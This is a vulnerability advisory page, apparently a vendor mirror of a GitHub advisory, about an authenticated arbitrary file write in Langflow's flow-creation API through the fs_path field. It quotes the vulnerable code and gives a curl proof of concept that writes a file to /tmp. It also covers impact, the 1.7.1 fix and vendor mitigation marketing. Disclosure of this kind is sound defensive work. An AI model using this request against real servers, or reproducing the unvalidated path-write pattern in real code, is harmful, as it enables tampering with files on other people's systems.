Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-f43r-cc68-gpx4

HIGH

External Control of File Name or Path in Langflow

Also known asCVE-2025-68478PYSEC-2025-125
Published
Dec 19, 2025
Updated
Jun 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
3.3%probability of exploitation in next 30 days
Lower Risk87th percentile+3.22%
0.00%1.41%2.82%4.22%0.0%3.3%Jan 26Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍langflow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Overview

If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.

Vulnerable Code

  1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.

    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168

    @router.post("/", response_model=FlowRead, status_code=201)
    async def create_flow(
        *,
        session: DbSession,
        flow: FlowCreate,
        current_user: CurrentActiveUser,
    ):
        try:
            db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
            await session.commit()
            await session.refresh(db_flow)
    
            await _save_flow_to_fs(db_flow)
    
        except Exception as e:
    
  2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.

    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38

    CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
    CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
    DbSession = Annotated[AsyncSession, Depends(get_session)]
    
  3. The client can directly specify the save path, including fs_path.

    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70

    ):
        try:
            await _verify_fs_path(flow.fs_path)
    
            """Create a new flow."""
    
  4. It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.

    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49

    async def _verify_fs_path(path: str | None) -> None:
        if path:
            path_ = Path(path)
            if not await path_.exists():
                await path_.touch()
    
  5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).

    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58

    async def _save_flow_to_fs(flow: Flow) -> None:
        if flow.fs_path:
            async with async_open(flow.fs_path, "w") as f:
                try:
                    await f.write(flow.model_dump_json())
                except OSError:
                    await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)
    

PoC Description

When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.

PoC

  • Before Exploit

    <img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" />
  • After Exploit

    curl -sS -X POST "http://localhost:7860/api/v1/flows/" \
      -H "Content-Type: application/json" \
      -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \
      -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}'
    
    <img width="1918" height="742" alt="image" src="https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174" />

Impact

  • Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.
  • Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.
  • The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.
  • In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlangflowall versions1.7.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update langflow to 1.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f43r-cc68-gpx4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-f43r-cc68-gpx4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f43r-cc68-gpx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

**Vulnerability Overview** If an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. **Vulnerable Code** 1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168
O3 Security · Impact-Aware SCA

Is GHSA-f43r-cc68-gpx4 in your dependencies?

O3 detects GHSA-f43r-cc68-gpx4 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.